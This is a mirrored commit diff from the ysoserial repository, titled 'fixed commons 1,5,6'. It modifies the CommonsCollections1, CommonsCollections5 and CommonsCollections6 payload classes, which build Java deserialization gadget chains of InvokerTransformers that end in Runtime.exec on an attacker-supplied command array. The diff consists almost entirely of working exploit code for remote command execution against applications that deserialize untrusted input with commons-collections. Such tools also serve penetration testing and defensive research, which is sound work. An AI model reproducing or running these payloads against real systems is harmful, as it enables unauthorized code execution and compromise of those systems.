mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-26 17:01:53 +08:00
fixed commons 1,5,6
This commit is contained in:
@@ -1,5 +1,6 @@
|
|||||||
package ysoserial.payloads;
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import java.io.Serializable;
|
||||||
import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -44,10 +45,9 @@ import ysoserial.payloads.util.Reflections;
|
|||||||
@PayloadTest ( precondition = "isApplicableJavaVersion")
|
@PayloadTest ( precondition = "isApplicableJavaVersion")
|
||||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||||
@Authors({ Authors.FROHOFF })
|
@Authors({ Authors.FROHOFF })
|
||||||
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
|
public class CommonsCollections1 extends ExtendedObjectPayload<InvocationHandler> {
|
||||||
|
|
||||||
public InvocationHandler getObject(final String command) throws Exception {
|
public InvocationHandler getObject(final String[] command) throws Exception {
|
||||||
final String[] execArgs = new String[] { command };
|
|
||||||
// inert chain for setup
|
// inert chain for setup
|
||||||
final Transformer transformerChain = new ChainedTransformer(
|
final Transformer transformerChain = new ChainedTransformer(
|
||||||
new Transformer[]{ new ConstantTransformer(1) });
|
new Transformer[]{ new ConstantTransformer(1) });
|
||||||
@@ -61,7 +61,7 @@ public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<
|
|||||||
Object.class, Object[].class }, new Object[] {
|
Object.class, Object[].class }, new Object[] {
|
||||||
null, new Object[0] }),
|
null, new Object[0] }),
|
||||||
new InvokerTransformer("exec",
|
new InvokerTransformer("exec",
|
||||||
new Class[] { String.class }, execArgs),
|
new Class[] { String[].class }, new Object[] { command }),
|
||||||
new ConstantTransformer(1) };
|
new ConstantTransformer(1) };
|
||||||
|
|
||||||
final Map innerMap = new HashMap();
|
final Map innerMap = new HashMap();
|
||||||
|
|||||||
@@ -57,7 +57,6 @@ https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4e
|
|||||||
public class CommonsCollections5 extends ExtendedObjectPayload<BadAttributeValueExpException> {
|
public class CommonsCollections5 extends ExtendedObjectPayload<BadAttributeValueExpException> {
|
||||||
|
|
||||||
public BadAttributeValueExpException getObject(final String[] command) throws Exception {
|
public BadAttributeValueExpException getObject(final String[] command) throws Exception {
|
||||||
final String[] execArgs = command.clone();
|
|
||||||
// inert chain for setup
|
// inert chain for setup
|
||||||
final Transformer transformerChain = new ChainedTransformer(
|
final Transformer transformerChain = new ChainedTransformer(
|
||||||
new Transformer[]{ new ConstantTransformer(1) });
|
new Transformer[]{ new ConstantTransformer(1) });
|
||||||
@@ -71,7 +70,7 @@ public class CommonsCollections5 extends ExtendedObjectPayload<BadAttributeValue
|
|||||||
Object.class, Object[].class }, new Object[] {
|
Object.class, Object[].class }, new Object[] {
|
||||||
null, new Object[0] }),
|
null, new Object[0] }),
|
||||||
new InvokerTransformer("exec",
|
new InvokerTransformer("exec",
|
||||||
new Class[] { String.class }, execArgs),
|
new Class[] { String[].class }, new Object[] { command }),
|
||||||
new ConstantTransformer(1) };
|
new ConstantTransformer(1) };
|
||||||
|
|
||||||
final Map innerMap = new HashMap();
|
final Map innerMap = new HashMap();
|
||||||
|
|||||||
@@ -38,8 +38,6 @@ import java.util.Map;
|
|||||||
public class CommonsCollections6 extends ExtendedObjectPayload<Serializable> {
|
public class CommonsCollections6 extends ExtendedObjectPayload<Serializable> {
|
||||||
|
|
||||||
public Serializable getObject(final String[] command) throws Exception {
|
public Serializable getObject(final String[] command) throws Exception {
|
||||||
final String[] execArgs = command.clone();
|
|
||||||
|
|
||||||
final Transformer[] transformers = new Transformer[] {
|
final Transformer[] transformers = new Transformer[] {
|
||||||
new ConstantTransformer(Runtime.class),
|
new ConstantTransformer(Runtime.class),
|
||||||
new InvokerTransformer("getMethod", new Class[] {
|
new InvokerTransformer("getMethod", new Class[] {
|
||||||
@@ -49,7 +47,7 @@ public class CommonsCollections6 extends ExtendedObjectPayload<Serializable> {
|
|||||||
Object.class, Object[].class }, new Object[] {
|
Object.class, Object[].class }, new Object[] {
|
||||||
null, new Object[0] }),
|
null, new Object[0] }),
|
||||||
new InvokerTransformer("exec",
|
new InvokerTransformer("exec",
|
||||||
new Class[] { String.class }, execArgs),
|
new Class[] { String[].class }, new Object[] { command }),
|
||||||
new ConstantTransformer(1) };
|
new ConstantTransformer(1) };
|
||||||
|
|
||||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||||
|
|||||||
Reference in New Issue
Block a user